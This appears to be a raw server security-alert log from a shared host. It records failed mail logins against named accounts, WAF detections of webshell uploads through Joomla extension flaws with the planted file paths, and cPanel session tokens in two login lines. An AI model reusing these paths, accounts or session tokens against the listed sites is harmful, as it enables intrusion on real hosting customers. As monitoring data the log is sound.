2026-07-06 17:43:46 dovecot_login authenticator failed for H=111-70-29-156.emome-ip.hinet.net ([218.201.226.254]) [111.70.29.156]:46899: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-06 17:44:27 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([149.54.62.58]) [71.229.1.186]:57558: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.92.45
country_id: 2802361
description:
2026-07-06 17:45:01 dovecot_login authenticator failed for H=([192.111.134.12]) [91.86.92.45]:33678: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.92.51.186
country_id: 1269750
description:
2026-07-06 17:56:03 dovecot_login authenticator failed for H=([14.96.106.175]) [59.92.51.186]:51110: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.35.129.132
country_id: 6252001
description:
2026-07-06 17:56:19 dovecot_login authenticator failed for H=pool-108-35-129-132.nwrknj.fios.verizon.net ([166.157.90.212]) [108.35.129.132]:58414: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.237.119
country_id: 99237
description:
2026-07-06 17:56:54 dovecot_login authenticator failed for H=([199.102.105.241]) [65.20.237.119]:51723: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-06 17:57:07 dovecot_login authenticator failed for H=(212.35.70.26.ua.batelco.jo) [125.19.163.58]:35588: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
country_id: 1605651
description:
2026-07-06 17:56:52 dovecot_login authenticator failed for H=([222.186.68.153]) [203.172.213.166]:33170: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.187.47
country_id: 99237
description:
2026-07-06 17:57:32 dovecot_login authenticator failed for H=([124.13.235.29]) [65.20.187.47]:36628: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-06 17:57:43 dovecot_login authenticator failed for H=(mail.toptronicsinc.com) [110.227.211.82]:35938: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 129.212.226.92
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce08jwg4xp.xml.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 46.250.230.56
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783340951726.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-06 18:02:25 dovecot_login authenticator failed for H=([199.102.106.89]) [182.95.189.66]:54306: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.248
country_id: 1733045
description:
2026-07-06 18:01:54 dovecot_login authenticator failed for H=([104.37.132.51]) [49.124.147.248]:50952: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.240.94
country_id: 1269750
description:
2026-07-06 18:03:06 dovecot_login authenticator failed for H=([49.124.148.190]) [182.78.240.94]:37584: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-06 18:03:35 dovecot_login authenticator failed for H=([183.36.25.148]) [182.95.228.194]:42744: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-07-06 18:16:58 dovecot_login authenticator failed for H=(31-154-69-224.orange.net.il) [106.245.246.26]:42714: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.40.63
country_id: 1819730
description:
2026-07-06 18:17:34 dovecot_login authenticator failed for H=063.40.246.220.static.netvigator.com ([49.124.149.54]) [220.246.40.63]:35743: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.223.32.225
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://sboagen.com/\">situs sbobet</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.233.37
country_id: 1861060
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/ogocindia/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.40.122.250
country_id: 2629691
description:
2026-07-06 18:25:01 dovecot_login authenticator failed for H=nova-185-040-122-250.cpe.novanet.is ([142.54.235.12]) [185.40.122.250]:60636: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.233.37
country_id: 1861060
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ogocindia/public_html/wp-content||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.173.185.104
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://clipxvk.com/video/\">CLIPXVK</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.228.38
country_id: 1880251
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/travelinbh/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-06 18:28:33 dovecot_login authenticator failed for H=([223.223.194.187]) [59.6.72.106]:5136: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-06 18:30:17 dovecot_login authenticator failed for H=([192.252.210.237]) [125.130.102.172]:42811: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 66.150.198.202
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:66.150.198.202||TA:66.150.198.202||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.146.41
country_id: 1733045
description:
2026-07-06 18:31:08 dovecot_login authenticator failed for H=([192.252.220.90]) [49.124.146.41]:51802: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-06 18:31:22 +0530] info [whostmgrd] 223.181.13.36 NEW travelinbh:QZxyWferBNtZ9beB address=223.181.13.36,app=cpaneld,creator=root,method=handle_auth_transfer,path=xfercpanel


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-06 18:31:22 +0530] info [cpaneld] 223.181.13.36 NEW travelinbh:MUYWTjGxv0bKBtCU address=223.181.13.36,app=cpaneld,creator=travelinbh,method=handle_form_login,path=loadsession:travelinbh:QZxyWferBNtZ9beB,possessed=1,possessor=root


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 170.205.31.43
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/params/z11ca7.php||SC:/home/globalgroupoman/public_html/images/params||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.2.22.2
country_id: 6252001
description:
2026-07-06 18:32:31 dovecot_plain authenticator failed for H=c-107-2-22-2.hsd1.az.comcast.net (blialical) [107.2.22.2]:58184: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.208.63
country_id: 1835841
description:
2026-07-06 18:31:36 dovecot_login authenticator failed for H=(dhcp-192-247-84.in2cable.com) [182.31.208.63]:51821: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.93.146.228
country_id: 6252001
description:
2026-07-06 18:32:35 dovecot_plain authenticator failed for H=c-73-93-146-228.hsd1.ca.comcast.net (infemorman) [73.93.146.228]:44250: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.160.249
country_id: 1562822
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.104.76.94
country_id: 1835841
description:
2026-07-06 18:41:45 dovecot_login authenticator failed for H=([186.233.71.79]) [222.104.76.94]:56002: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.133.102
country_id: 1733045
description:
2026-07-06 18:41:55 dovecot_login authenticator failed for H=([36.135.62.94]) [49.124.133.102]:41482: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-06 18:44:43 dovecot_login authenticator failed for H=([49.124.205.169]) [197.219.208.58]:50706: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-06 18:45:26 dovecot_login authenticator failed for H=([197.219.228.242]) [59.12.212.38]:60810: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.167.50.229
country_id: 1835841
description:
2026-07-06 18:45:49 dovecot_login authenticator failed for H=([80.244.41.155]) [221.167.50.229]:59590: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.187.155.130
country_id: 6252001
description:
2026-07-06 18:46:11 dovecot_login authenticator failed for H=([121.163.63.200]) [50.187.155.130]:43990: 535 Incorrect authentication data (set_id=webmaster)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.194.29
country_id: 1269750
description:
2026-07-06 18:46:13 dovecot_login authenticator failed for H=([199.229.254.131]) [49.206.194.29]:32814: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 180.251.151.220
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/LUMINA_1783343957977.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 180.251.151.220
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/LUMINA_1783343931413.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-06 18:49:31 dovecot_login authenticator failed for H=([197.219.228.242]) [125.19.163.58]:59524: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.152.82.108
country_id: 2264397
description:
2026-07-06 18:49:50 dovecot_login authenticator failed for H=a89-152-82-108.cpe.netcabo.pt ([46.210.94.61]) [89.152.82.108]:51270: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.124.111.122
country_id: 2077456
description:
2026-07-06 18:50:02 dovecot_login authenticator failed for H=27-124-111-122.static.as58511.net ([187.12.48.70]) [27.124.111.122]:37336: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-06 18:50:42 dovecot_login authenticator failed for H=([41.65.118.172]) [113.193.187.154]:47936: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.249.88
country_id: 1269750
description:
2026-07-06 18:50:54 dovecot_login authenticator failed for H=([210.99.125.236]) [122.187.249.88]:58594: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.233.100.45
country_id: 3437598
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/category/products?Itemid=101 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul  6 18:52:47 vps sshd[1135744]: error: kex_exchange_identification: read: Connection reset by peer


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.208.96.194
country_id: 1819730
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/ahsmarine/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-06 18:53:36 dovecot_login authenticator failed for H=(ip-142-54-226-210.hosts.zerolag.com) [117.211.15.93]:45550: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-06 18:54:09 dovecot_login authenticator failed for H=([67.201.39.9]) [144.24.209.174]:49280: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-06 18:54:11 dovecot_login authenticator failed for H=([197.219.228.242]) [118.220.149.121]:58226: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.149.239
country_id: 99237
description:
2026-07-06 18:53:32 dovecot_login authenticator failed for H=([113.53.251.101]) [65.20.149.239]:37342: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.150.226.139
country_id: 1835841
description:
2026-07-06 18:53:31 dovecot_login authenticator failed for H=([157.119.70.200]) [218.150.226.139]:40229: 535 Incorrect authentication data (set_id=sales@idealloanz.com.au)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.211
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://clipxvk.com/\">CLIPXVK</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 180.251.151.220
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:lumina_1783344377763.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-06 18:56:47 dovecot_login authenticator failed for H=([118.250.183.25]) [182.95.189.66]:54026: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.192.112
country_id: 660013
description:
2026-07-06 18:57:22 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc0-112.dhcp.inet.fi ([111.26.63.87]) [80.223.192.112]:57060: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-06 18:57:28 dovecot_login authenticator failed for H=([5.11.168.173]) [65.20.217.64]:44953: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.130
country_id: 3686110
description:
2026-07-06 18:57:57 dovecot_login authenticator failed for H=([85.35.177.182]) [206.62.136.130]:43409: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-06 18:58:35 dovecot_login authenticator failed for H=([103.147.248.23]) [190.157.13.210]:42666: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 45.192.213.7
country_id: 241170
domain: globalgroupoman.com
description:
IM360 WAF: Request body parsing error||err_msg:Multipart: Multiple boundary parameters in C-T.||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.26.19.18
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/telephone-and-communication-systems-pabx HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 107.189.14.87
country_id: 2960313
domain: stcinemas.co
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icogejaee/fonts/fzobvet.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.38
country_id: 1269750
description:
2026-07-06 19:07:58 dovecot_login authenticator failed for H=([122.187.229.12]) [122.187.230.38]:54370: 535 Incorrect authentication data (set_id=hr@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.174
country_id: 1269750
description:
2026-07-06 19:08:25 dovecot_login authenticator failed for H=([49.124.149.199]) [182.95.178.174]:53220: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.69.178
country_id: 1269750
description:
2026-07-06 19:08:27 dovecot_login authenticator failed for H=([183.171.145.95]) [182.78.69.178]:60724: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-07-06 19:07:39 dovecot_login authenticator failed for H=(107-135-117-245.lightspeed.livnmi.sbcglobal.net) [64.72.74.162]:35214: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.138.160
country_id: 1835841
description:
2026-07-06 19:08:58 dovecot_login authenticator failed for H=([213.154.80.21]) [220.72.138.160]:52912: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-06 19:11:56 dovecot_login authenticator failed for H=([196.0.113.110]) [185.15.82.135]:34031: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 180.251.151.220
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/LUMINA_1783345370921.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.112.112.91
country_id: 2328926
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/services/home-theater-installation/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 180.251.151.220
country_id: 1643084
domain: jaashsupplies.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/LUMINA_1783345706345.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.71.26
country_id: 1835841
description:
2026-07-06 19:22:03 dovecot_login authenticator failed for H=([122.165.91.5]) [182.31.71.26]:60129: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.248.156.49
country_id: 1522867
description:
2026-07-06 19:23:36 dovecot_login authenticator failed for H=([49.124.147.109]) [109.248.156.49]:33290: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.222.43.138
country_id: 3277605
description:
2026-07-06 19:23:50 dovecot_login authenticator failed for H=([197.219.228.242]) [195.222.43.138]:37778: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-07-06 19:25:15 dovecot_login authenticator failed for H=([60.172.1.210]) [1.237.155.150]:45208: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-06 19:25:29 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net (host-pq.vsg1-a.v4.dfn.nl) [110.25.105.240]:44028: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.78.54.14
country_id: 1668284
description:
2026-07-06 19:25:00 dovecot_login authenticator failed for H=(syn-024-105-160-100.biz.spectrum.com) [211.78.54.14]:41714: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-07-06 19:29:53 dovecot_login authenticator failed for H=([192.111.134.12]) [51.162.194.94]:50066: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.253.27.62
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.25||T:APACHE||SC:/home/kallanigroup/public_html/index.php||User:kallanigroup||WPU:||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.253.27.62
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/icagenda/frontend/attachments/nxploited_1783346440254.php||SC:/home/kallanigroup/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.253.27.62
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/nxploited_1783346440254.php||SC:/home/kallanigroup/public_html/images||


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 103.253.27.62
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/nxploited_1783346440254.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.253.27.62
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/nxploited-1783346440254.php||SC:/home/kallanigroup/public_html/images||


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 103.253.27.62
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/nxploited-1783346440254.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.253.27.62
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/nxploited-1783346440254.php||SC:/home/kallanigroup/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-06 19:36:32 dovecot_login authenticator failed for H=(static.bb.ill.59.92.51.186.bsnl.in) [98.122.215.23]:42726: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 213.169.214.193
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://dhamhelicopter.wixsite.com/dham-helicopter-book/post/is-rfid-card-mandatory-for-helicopter-passengers-in-may-2026\">vaishno devi helicopter booking</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-06 19:37:11 dovecot_login authenticator failed for H=([104.37.135.150]) [182.95.228.194]:32904: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.203.163
country_id: 1733045
description:
2026-07-06 19:38:25 dovecot_login authenticator failed for H=([65.20.204.88]) [49.125.203.163]:58592: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.197.114.21
country_id: 3175395
description:
2026-07-06 19:38:04 dovecot_login authenticator failed for H=([112.165.176.138]) [2.197.114.21]:49922: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 210.245.54.152
country_id: 1562822
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:64756.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:69002f82e8376738f6b148d8978b26538a91de8b||Title:0xd33e6bb5||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.89.208.174
country_id: 1605651
description:
2026-07-06 19:41:16 dovecot_login authenticator failed for H=([14.116.172.42]) [183.89.208.174]:54438: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.56
country_id: 1733045
description:
2026-07-06 19:41:56 dovecot_login authenticator failed for H=([61.72.145.38]) [49.124.151.56]:44782: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-06 19:43:45 dovecot_login authenticator failed for H=(78-67-161-64-no2550.tbcn.telia.com) [103.206.131.33]:36178: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
